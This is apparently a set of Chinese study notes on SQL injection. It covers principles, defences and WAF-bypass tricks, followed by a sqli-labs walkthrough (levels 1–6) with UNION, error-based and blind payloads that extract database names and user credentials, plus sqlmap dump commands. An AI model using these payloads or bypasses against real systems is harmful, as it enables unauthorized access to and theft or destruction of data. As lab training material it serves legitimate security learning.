1.SQL 注入原理
SQL 注入是一种常见的 Web 安全漏洞,攻击者通过在应用程序的输入字段中插入恶意 SQL 语句,从而改变或操纵原本预期的 SQL 查询,以达到未经授权的数据访问或其他恶意目的。
原理概述:
注入点:应用程序中的输入字段(如表单、URL 参数等)。
攻击方法:利用 SQL 注释符(如 -- 或 /* ... */)、终止符(如 ;)或特殊字符(如 ' 或 ")来中断或改变 SQL 语句的结构。
攻击目标:绕过身份验证、获取敏感数据、修改数据等。
2.SQL 注入常用函数及含义
SQL 注入常用函数
SELECT:用于从数据库中选择数据。
示例:SELECT * FROM users WHERE username='admin' AND password='password';
UNION:用于合并两个或多个 SELECT 语句的结果集。
示例:SELECT username FROM users WHERE id=1 UNION SELECT password FROM users;
INSERT:用于向数据库表中插入新的记录。
示例:INSERT INTO users (username, password) VALUES ('admin', 'password');
UPDATE:用于更新数据库表中的现有记录。
示例:UPDATE users SET password='new_password' WHERE id=1;
DELETE:用于删除数据库表中的记录。
示例:DELETE FROM users WHERE id=1;
SLEEP:MySQL 函数,用于延迟执行时间。
示例:SELECT SLEEP(5); 会使查询暂停 5 秒。
BENCHMARK:MySQL 函数,用于执行大量迭代操作。
示例:SELECT BENCHMARK(10000000, AES_ENCRYPT('test', 'test'));
IF 和 CASE:用于条件判断。
示例:SELECT IF(1=1, SLEEP(5), 0);
ORDER BY:用于对查询结果进行排序。
示例:SELECT * FROM users ORDER BY id DESC;
LIMIT:用于限制返回的行数。
示例:SELECT * FROM users LIMIT 10;
SQL 注入防御手段
参数化查询:使用预编译语句或参数化查询,将用户输入作为参数传递给 SQL 语句,避免直接拼接。
示例(Python):
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
输入验证:对所有输入进行严格的验证,确保输入符合预期格式。
示例:使用正则表达式验证用户名和密码。
转义特殊字符:对用户输入中的特殊字符进行转义处理。
示例:使用 PHP 的 mysqli_real_escape_string 函数。
最小权限原则:应用程序使用的数据库账户应具有最小权限,仅能访问必要的数据表和执行必要的操作。
限制错误信息:不要在响应中泄露详细的错误信息,避免给攻击者提供线索。
使用安全库:使用经过验证的安全库或框架,它们通常已经实现了安全措施。
SQL 注入常用绕过 WAF 的方法
编码转换:使用 URL 编码或百分号编码(如 %27 代替 ')。
示例:%27 OR %271%27=1
空格替代:使用注释符或特殊字符替代空格。
示例:%20 替换为空格,%0A 替换为换行符。
SQL 注释:使用 SQL 注释符绕过检测。
示例:' OR '1'='1 --
分隔符绕过:使用多个分号或换行符分隔 SQL 语句。
示例:' OR '1'='1; SELECT * FROM users
大小写变换:利用大小写混合来绕过检测。
示例:SeLeCt * FrOm UsErS
使用合法函数:使用看似合法的函数,但实际上用于绕过检测。
示例:SLEEP(5) 用于延时攻击。
Unicode 编码:使用 Unicode 编码来绕过 WAF。
示例:' OR '1'='1 可以编码为 '\x27 OR \x271\x27=\x271'。
3.SQL的手工注入的步骤
1. 确认存在注入点
首先,你需要确认目标应用程序中是否存在 SQL 注入漏洞。这通常通过以下步骤完成:
- 测试基本注入:尝试在输入字段中插入一些基本的 SQL 注入字符,如单引号(
'
)或双引号("
)。例如,在登录表单中输入admin'
或admin"
,观察应用程序的响应。 - 分析响应:如果应用程序返回错误消息或行为异常(如报错页面),则可能存在 SQL 注入漏洞。
2. 确定数据库类型
不同的数据库管理系统(如 MySQL、PostgreSQL、Oracle 等)有不同的特性,因此确定目标数据库的类型非常重要。可以通过以下方法:
- 注入测试语句:尝试注入一些特定于数据库的语句或函数,观察响应。
- 例如,在 MySQL 中,可以尝试注入
AND 1=1 OR SLEEP(5)
,如果响应延迟 5 秒,则可能是 MySQL 数据库。
- 例如,在 MySQL 中,可以尝试注入
- 使用版本信息:尝试获取数据库版本信息,例如注入
AND 1=1 OR '1'='1 UNION SELECT 1,@@version
(MySQL)。
3. 枚举数据库架构
一旦确认存在注入点并确定了数据库类型,下一步是枚举数据库架构,了解数据库的结构:
- 获取数据库名称:尝试注入
UNION SELECT 1,database()
(MySQL)来获取当前数据库名称。 - 获取表名:注入
UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=database()
(MySQL)来获取所有表名。 - 获取列名:注入
UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='your_table'
(MySQL)来获取特定表的所有列名。
4. 获取数据
一旦了解了数据库结构,就可以开始提取具体的数据:
- 枚举数据:注入
UNION SELECT column_name FROM your_table
(MySQL)来获取特定表中的数据。 - 枚举用户数据:如果目标是获取用户数据,可以注入
UNION SELECT username,password FROM users
(MySQL)。
5. 利用漏洞
获取数据后,可以进一步利用这些信息进行其他攻击,例如:
- 绕过身份验证:尝试注入
OR '1'='1
来绕过登录验证。 - 修改数据:注入
UPDATE table_name SET column_name='new_value' WHERE condition
(MySQL)来修改数据。 - 删除数据:注入
DELETE FROM table_name WHERE condition
(MySQL)来删除数据。
6. 验证和利用
最后,验证注入结果是否正确,并利用这些信息进行进一步的攻击或数据泄露。
示例注入步骤
假设目标 URL 是 http://example.com/login.php?username=admin&password=admin
,下面是一个简单的手工注入步骤:
-
测试基本注入:
- 尝试
http://example.com/login.php?username=admin'&password=admin
,如果返回错误信息,则可能存在注入点。
- 尝试
-
确定数据库类型:
- 尝试
http://example.com/login.php?username=admin' OR SLEEP(5)--&password=admin
,如果响应延迟 5 秒,则可能是 MySQL 数据库。
- 尝试
-
获取数据库名称:
- 尝试
http://example.com/login.php?username=admin' UNION SELECT 1,database() --&password=admin
。
- 尝试
-
获取表名:
- 尝试
http://example.com/login.php?username=admin' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema=database() --&password=admin
。
- 尝试
-
获取列名:
- 尝试
http://example.com/login.php?username=admin' UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name='users' --&password=admin
。
- 尝试
-
获取数据:
- 尝试
http://example.com/login.php?username=admin' UNION SELECT username,password FROM users --&password=admin
。
- 尝试
4.sqli-labs(1-5)
第一关
提示我们需要给他输入一个ID的传参我们输入?id=1,?id=2,页面改变,通过数字值不同返回的内容也不同,所以我们输入的内容是带入到数据库里面查询了。
判断注入点输入?id=1 and 1=1和?id=1 and 1=2,发现没有变化
查找他当前的字段数?id=1 'order by 1-- s 依次输入到order by 4出现错误,说明前面有3个字段。
判断表名?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' -- s
查询emails数据?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 -- s
判断列名:?id=-1' union select 1,column_name,3 from information_schema.columns where table_schema='security'%20 -- s
获取当前数据名和版本号
爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
得到username和password对应内容
?id=-1' union select 1,2,group_concat(username,password) from users--+
用ID隔开
?id=-1' union select 1,2,group_concat(username,id,password) from users--+
第二关
输入?id=2',判断注入,为数字型注入
与第一关相同
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users
第三关
入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以需要闭合单引号且也要考虑括号。
字段数
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
查询数据库中列表
?id=-1') union select 1,database(),version()--+
用于从数据库中提取 information_schema.tables
表中的 table_name
字段。
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
从数据库中提取 information_schema.columns
表中的 column_name
字段,特别是针对 users
表的列名。
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
从数据库中提取 users
表中的 username
、id
和 password
字段,并将这些字段连接成一个字符串。
第四关
根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入,注入步骤同上。
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+
第五关
?id=1'and length((select database()))>9--+
?id=1'and ascii(substr((select database()),1,1))=115--+
截取的字符串,(截取的位置,截取的长度)。布尔盲注都是长度为1因为要一个个判断字符。ascii()是将截取的字符转换成对应的ascii码,这样可以很好确定数字根据数字找到对应的字符。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
爆数据值:
?id=1' union select updatexml(1,concat(0x7e, right((select(group_concat(flag33)) from ctfshow.flagpuck) ,25),0x7e),3)--+
5.使用sqlmap通过或验证第六关
1.尝试进行注入
python sqlmap.py -u "http://sqli-labs:80/Less-6/?id=1"
2.获取数据库名称
python sqlmap.py -u "http://sqli-labs:80/Less-6/?id=1" –dbms mysql –level 3 –dbs
3.尝试获取”security“数据库中表的名称
python sqlmap.py -u "http://sqli-labs:80/Less-6/?id=1" –dbms mysql –level 3 –D security –tables
4.尝试获取users表中的字段
python sqlmap.py -u "http://sqli-labs:80/Less-6/?id=1" –dbms mysql –level 3 –D security –T users –columns
5.获取字段中的数据 ,成功注入
python sqlmap.py -u "http://sqli-labs:80/Less-6/?id=1" –dbms mysql –level 3 –D security –T users –C "username , password" -dump